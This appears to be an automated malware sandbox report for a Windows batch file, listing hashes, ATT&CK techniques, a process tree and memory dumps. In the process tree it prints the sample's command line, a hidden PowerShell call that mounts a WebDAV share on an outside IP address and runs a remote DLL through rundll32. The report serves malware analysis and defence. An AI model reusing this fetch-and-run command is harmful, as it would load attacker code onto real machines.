cdf6fdf5b8977aa32b3e8cd9385d1d20a79d528a460910bee4cc30fd326a8020

Analysis

max time kernel
107s
max time network
17s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 06:55

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General

Target

6109277122782425860.bat
Size

2KB
MD5

81443d20af127866a7ae4543a15872c2
SHA1

5d837f0208199aa9ef1eb8cda80a22e5bb42d0ad
SHA256

8fdaa6591a5c8eff55c7170bafdcb99b2e88f625c3c6e0fd540ed94143b2d9d2
SHA512

36b4fd3ab2c47671eb23a17283cc445444436839c4efa805cf1b55581a81ba8064c83742fb9cf199cc2bda0bc6daadfb11d223f94f0fdcff8745fe6f5a4cd49b

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2828	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2828	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2828	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2784	wordpad.exe
2784	wordpad.exe
2784	wordpad.exe
2784	wordpad.exe
2784	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2260 wrote to memory of 2784	2260	cmd.exe	31
PID 2260 wrote to memory of 2784	2260	cmd.exe	31
PID 2260 wrote to memory of 2784	2260	cmd.exe	31
PID 2260 wrote to memory of 2828	2260	cmd.exe	32
PID 2260 wrote to memory of 2828	2260	cmd.exe	32
PID 2260 wrote to memory of 2828	2260	cmd.exe	32
PID 2828 wrote to memory of 2800	2828	powershell.exe	34
PID 2828 wrote to memory of 2800	2828	powershell.exe	34
PID 2828 wrote to memory of 2800	2828	powershell.exe	34
PID 2828 wrote to memory of 2956	2828	powershell.exe	35
PID 2828 wrote to memory of 2956	2828	powershell.exe	35
PID 2828 wrote to memory of 2956	2828	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\6109277122782425860.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2260
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2940.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2800
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2940.dll entry
    3⤵
    PID:2956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2260-16-0x0000000002440000-0x0000000002540000-memory.dmp

Filesize
1024KB

Download
memory/2260-17-0x0000000002440000-0x0000000002540000-memory.dmp

Filesize
1024KB

Download
memory/2828-23-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2828-24-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download